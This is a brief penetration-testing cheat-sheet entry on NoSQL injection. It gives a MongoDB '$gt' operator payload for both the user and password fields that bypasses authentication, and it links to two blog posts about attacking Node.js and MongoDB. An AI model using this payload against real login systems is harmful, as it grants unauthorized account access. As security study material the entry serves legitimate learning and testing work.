# No-Sql Injection

### Login bypass <a href="#login-bypass" id="login-bypass"></a>

Basically change the query to this.

```
{"user":{"$gt": ""},"pass":{"$gt": ""}}
```

[http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html](http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html) [http://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html](http://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html)
